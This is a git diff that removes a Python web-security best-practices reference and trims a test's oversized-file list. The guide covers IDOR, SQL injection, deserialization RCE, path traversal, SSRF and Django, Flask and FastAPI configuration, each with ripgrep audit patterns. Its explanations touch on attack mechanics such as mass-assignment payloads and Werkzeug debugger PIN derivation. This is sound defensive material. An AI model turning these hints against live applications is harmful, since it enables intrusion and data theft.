`!!python/object` tags that reach `os.system`. CVE-2020-1747 (PyYAML FullLoader before 5.3.1) and GHSA-g8c6-8fjj-2r4m (python-socketio pickle across servers) demonstrate the real-world impact. ML model files (`.pkl`, `.joblib`) are a live attack surface (CVE-2025-1716). - -**Detection**: -```bash -rg -n 'pickle\.loads?|cloudpickle|joblib\.load|dill\.loads?|marshal\.loads?' . --type py -rg -n 'yaml\.load\b' . --type py | rg -v 'safe_load|SafeLoader' -``` - ---- - -## Scope Django Querysets to the Requesting User - -Filter Django ORM queries by the authenticated user's ownership or organization. Never expose `Model.objects.all()` or lookup by raw ID without scoping. - -```python -# Correct: scope queryset in DRF ViewSet -class InvoiceViewSet(ModelViewSet): - serializer_class = InvoiceSerializer - - def get_queryset(self): - return Invoice.objects.filter(organization=self.request.user.organization) - -# Correct: scope individual lookups -def get_invoice(request, invoice_id: int): - invoice = get_object_or_404( - Invoice, - id=invoice_id, - organization=request.user.organization, - ) - return JsonResponse(InvoiceSerializer(invoice).data) -``` - -**Why this matters**: `Invoice.objects.get(id=kwargs['id'])` without ownership scoping is an IDOR vulnerability. Any authenticated user can access any other user's data by guessing or enumerating IDs. - -**Detection**: -```bash -rg -n 'objects\.(get|filter)\(.*id\s*=' . --type py | rg -v 'request\.user|organization|owner|user_id' -rg -n "fields\s*=\s*['\"]__all__['\"]" . --type py -``` - ---- - -## Declare Explicit Fields on DRF Serializers - -Always use an explicit field allowlist on Django REST Framework serializers. Never use `fields = '__all__'` on serializers exposed to external clients. - -```python -from rest_framework import serializers - -# Correct: explicit field allowlist -class UserPublicSerializer(serializers.ModelSerializer): - class Meta: - model = User - fields = ["id", "display_name", "avatar_url", "timezone"] - -# Correct: mark sensitive fields as write-only -class UserRegistrationSerializer(serializers.ModelSerializer): - class Meta: - model = User - fields = ["id", "email", "display_name", "password"] - extra_kwargs = { - "password": {"write_only": True}, - } -``` - -**Why this matters**: `fields = '__all__'` exposes every column including `password_hash`, `api_token`, `is_staff`, and any column added by future migrations. On write endpoints, it enables mass assignment where an attacker can POST `{"is_staff": true}`. - -**Detection**: -```bash -rg -n "fields\s*=\s*['\"]__all__['\"]" . --type py -``` - ---- - -## Use Parameterized Queries for All Database Access - -Use ORM methods or parameterized queries with bind variables. Never interpolate user data into SQL strings with f-strings, `%`, or `.format()`. - -```python -# Correct: Django ORM (parameterized by default) -invoices = Invoice.objects.filter(customer_id=customer_id) - -# Correct: Django raw SQL with parameters -Invoice.objects.raw("SELECT * FROM invoices WHERE customer_id = %s", [customer_id]) - -# Correct: Django cursor with parameters -with connection.cursor() as cur: - cur.execute("SELECT * FROM invoices WHERE id = %s", [invoice_id]) - -# Correct: SQLAlchemy with named bind parameters -from sqlalchemy import text -session.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name}) - -# Correct: SQLAlchemy expression form -session.query(User).filter_by(name=name).all() -``` - -**Why this matters**: SQL injection through string interpolation enables data exfiltration, data modification, and in some databases, command execution. The first argument to Django's `.raw()`, `.extra()`, `RawSQL()`, and `cursor.execute()` is not parameterized. Parameterization happens only via the separate `params` argument. - -**Detection**: -```bash -rg -n '\.raw\(f"|\.extra\(.*f"|RawSQL\(f"|cursor\.execute\(f"' . --type py -rg -n 'session\.execute\(f"|text\(f"' . --type py -``` - ---- - -## Use Dependency Injection for FastAPI Auth - -Enforce authentication and authorization through FastAPI's dependency injection system. Every endpoint that accesses protected data must declare a dependency that verifies the session. - -```python -from fastapi import Depends, HTTPException - -async def get_current_user(token: str = Depends(oauth2_scheme)) -> User: - """Verify JWT and return the authenticated user.""" - try: - payload = jwt.decode(token, SECRET_KEY, algorithms=["RS256"]) - user = await db.fetch_user(payload["sub"]) - if user is None: - raise HTTPException(status_code=401, detail="invalid credentials") - return user - except jwt.InvalidTokenError: - raise HTTPException(status_code=401, detail="invalid credentials") - -# Correct: auth enforced via dependency -@app.get("/users/me", response_model=UserPublic) -async def read_me(current_user: User = Depends(get_current_user)): - return current_user - -# Correct: apply to entire router -router = APIRouter(dependencies=[Depends(get_current_user)]) -``` - -**Why this matters**: Without dependency injection, auth checks rely on manual calls at the top of each handler, which are easy to forget. FastAPI's `Depends()` system makes missing auth a visible gap (the parameter is absent) rather than a silent omission. - -**Detection**: -```bash -rg -n '@app\.(get|post|put|delete|patch)\(' . --type py | rg -v 'Depends|dependencies' -``` - ---- - -## Use response_model on FastAPI Endpoints - -Declare a `response_model` Pydantic schema on every endpoint that returns database data. This filters the response to declared fields only. - -```python -from pydantic import BaseModel, ConfigDict - -class UserPublic(BaseModel): - model_config = ConfigDict(extra="ignore") # Never "allow" on response DTOs - - id: int - display_name: str - avatar_url: str | None - -@app.get("/users/{user_id}", response_model=UserPublic) -async def get_user(user_id: int): - return await db.fetch_one("SELECT * FROM users WHERE id = :id", {"id": user_id}) -``` - -**Why this matters**: Without `response_model`, FastAPI returns whatever the handler produces. A raw ORM row includes every column (password hash, internal flags, API tokens). Pydantic DTOs with `extra="allow"` pass arbitrary fields through to the response (Sentry commit `0c0aae90ac1`). - -**Detection**: -```bash -rg -n '@app\.(get|post|put|delete|patch)\(' . --type py | rg -v 'response_model' -rg -n "extra\s*=\s*['\"]allow['\"]" . --type py -``` - ---- - -## Use Path Containment Checks for File Operations - -Resolve paths and verify they remain within the intended base directory before opening or serving files. Use `pathlib.Path.is_relative_to()` (Python 3.9+) for the containment check. - -```python -from pathlib import Path -from flask import send_from_directory, abort - -BASE_DIR = Path("/var/app/exports").resolve() - -@app.route("/download") -def download(): - name = request.args["name"] - target = (BASE_DIR / name).resolve() - if not target.is_relative_to(BASE_DIR): - abort(403) - if not target.is_file(): - abort(404) - return send_from_directory(BASE_DIR, name) -``` - -For file uploads, sanitize the filename: - -```python -import uuid - -def user_upload_path(instance, filename: str) -> str: - # Replace user-supplied filename with UUID to prevent path traversal - ext = Path(filename).suffix - return f"uploads/{instance.user_id}/{uuid.uuid4()}{ext}" -``` - -**Why this matters**: `os.path.join("/base", user_path)` discards the base entirely if `user_path` is absolute. `../` sequences escape the intended directory. `Path.resolve()` normalizes all these before the containment check catches them. - -**Detection**: -```bash -rg -n 'send_file\(|FileResponse\(' . --type py -rg -n 'os\.path\.join\(.*request' . --type py -rg -n 'is_relative_to|startswith' . --type py -``` - ---- - -## Configure Flask for Production Security - -Set `debug=False`, use a strong random secret key, and serve files through `send_from_directory` instead of `send_file` with manual path joining. - -```python -import os -import secrets - -# Correct: production configuration -app.config["DEBUG"] = False -app.config["SECRET_KEY"] = os.environ.get("FLASK_SECRET_KEY") or secrets.token_hex(32) -app.config["SESSION_COOKIE_HTTPONLY"] = True -app.config["SESSION_COOKIE_SECURE"] = True # HTTPS only -app.config["SESSION_COOKIE_SAMESITE"] = "Lax" - -# Correct: use send_from_directory (applies safe_join internally) -@app.route("/download/") -def download(filename: str): - return send_from_directory("/var/app/exports", filename) -``` - -**Why this matters**: `debug=True` exposes the Werkzeug debugger at `/console`, which is a Python REPL allowing direct code execution. The PIN protection is derivable from server-local facts (machine ID, username, app path). Stack traces in debug mode leak local variables, settings, and SQL queries. - -**Detection**: -```bash -rg -n "debug\s*=\s*True|DEBUG\s*=\s*True" . --type py -rg -n "SECRET_KEY\s*=\s*['\"]" . --type py | rg -v 'environ|getenv|secrets' -``` - ---- - -## Configure Django Security Settings for Production - -Set security-critical Django settings explicitly. Never deploy with `DEBUG = True` or `ALLOWED_HOSTS = ['*']`. - -```python -# settings/production.py -DEBUG = False -ALLOWED_HOSTS = ["app.example.com", "api.example.com"] -SECRET_KEY = os.environ["DJANGO_SECRET_KEY"] - -# Session security -SESSION_COOKIE_HTTPONLY = True -SESSION_COOKIE_SECURE = True -SESSION_COOKIE_SAMESITE = "Lax" -SESSION_SERIALIZER = "django.contrib.sessions.serializers.JSONSerializer" # Never PickleSerializer - -# CSRF -CSRF_COOKIE_HTTPONLY = True -CSRF_COOKIE_SECURE = True - -# Security middleware -SECURE_HSTS_SECONDS = 31536000 -SECURE_HSTS_INCLUDE_SUBDOMAINS = True -SECURE_CONTENT_TYPE_NOSNIFF = True -SECURE_BROWSER_XSS_FILTER = True -``` - -**Why this matters**: `DEBUG = True` exposes full tracebacks with local variables. `ALLOWED_HOSTS = ['*']` enables Host header poisoning for password-reset token theft. `PickleSerializer` for sessions reintroduces deserialization RCE. Django defaults to `JSONSerializer` since 1.6 specifically to prevent this. - -**Detection**: -```bash -rg -n "^DEBUG\s*=|^ALLOWED_HOSTS\s*=" . --type py -rg -n 'PickleSerializer|SESSION_SERIALIZER' . --type py -``` - ---- - -## Validate URLs Before Making Outbound Requests - -When making HTTP requests to user-supplied URLs, validate at the IP layer after DNS resolution. String-based checks fail against DNS rebinding, IP encoding tricks, and redirects. - -```python -import ipaddress -import socket -from urllib.parse import urlparse - -DISALLOWED_NETWORKS = [ - ipaddress.ip_network("127.0.0.0/8"), - ipaddress.ip_network("10.0.0.0/8"), - ipaddress.ip_network("172.16.0.0/12"), - ipaddress.ip_network("192.168.0.0/16"), - ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata - ipaddress.ip_network("::1/128"), - ipaddress.ip_network("fc00::/7"), -] - -def validate_url(url: str) -> str: - """Validate a user-supplied URL is safe to fetch.""" - parsed = urlparse(url) - if parsed.scheme not in ("http", "https"): - raise ValueError("invalid scheme") - addr = socket.gethostbyname(parsed.hostname) - ip = ipaddress.ip_address(addr) - for net in DISALLOWED_NETWORKS: - if ip in net: - raise ValueError(f"disallowed IP range: {net}") - return url - -# Usage -validated = validate_url(user_url) -resp = requests.get(validated, allow_redirects=False, timeout=10) -``` - -**Why this matters**: SSRF through user-controlled URLs is a top-tier cloud vulnerability. The Capital One breach (2019) exploited SSRF to reach the EC2 metadata service at `169.254.169.254`, stealing IAM credentials and dumping 30GB from S3. CVE-2024-34351 (Next.js Server Actions SSRF) and CVE-2026-40175 (axios header injection bypassing IMDSv2) demonstrate the attack surface remains active. - -**Detection**: -```bash -rg -n 'requests\.(get|post|put|delete)|urlopen|urllib\.request' . --type py -rg -n 'allow_redirects' . --type py -``` - ---- - -## Configure FastAPI CORS With Explicit Origins - -Set CORS origins to explicit allowed domains. Never use wildcard origins with credentials. - -```python -from fastapi.middleware.cors import CORSMiddleware - -app.add_middleware( - CORSMiddleware, - allow_origins=["https://app.example.com", "https://admin.example.com"], - allow_credentials=True, - allow_methods=["GET", "POST", "PUT", "DELETE"], - allow_headers=["Authorization", "Content-Type"], -) -``` - -**Why this matters**: `allow_origins=["*"]` with `allow_credentials=True` is rejected by browsers, but `allow_origins=["*"]` without credentials still allows any site to read API responses. Explicit origins prevent cross-origin data theft. - -**Detection**: -```bash -rg -n 'allow_origins|CORSMiddleware' . --type py -``` diff --git a/scripts/tests/test_reference_loading.py b/scripts/tests/test_reference_loading.py index a5501649..7d9ef703 100755 --- a/scripts/tests/test_reference_loading.py +++ b/scripts/tests/test_reference_loading.py @@ -478,9 +478,7 @@ def _ref_file_id(p: Path) -> str: _KNOWN_OVERSIZED: set[str] = { - "golang-general-engineer/references/go-errors.md", "hook-development-engineer/references/code-examples.md", - "python-general-engineer/references/python-preferred-patterns.md", "reviewer-domain/references/operational-preferred-patterns.md", "typescript-debugging-engineer/references/debugging-workflows.md", "typescript-frontend-engineer/references/react19-typescript-patterns.md",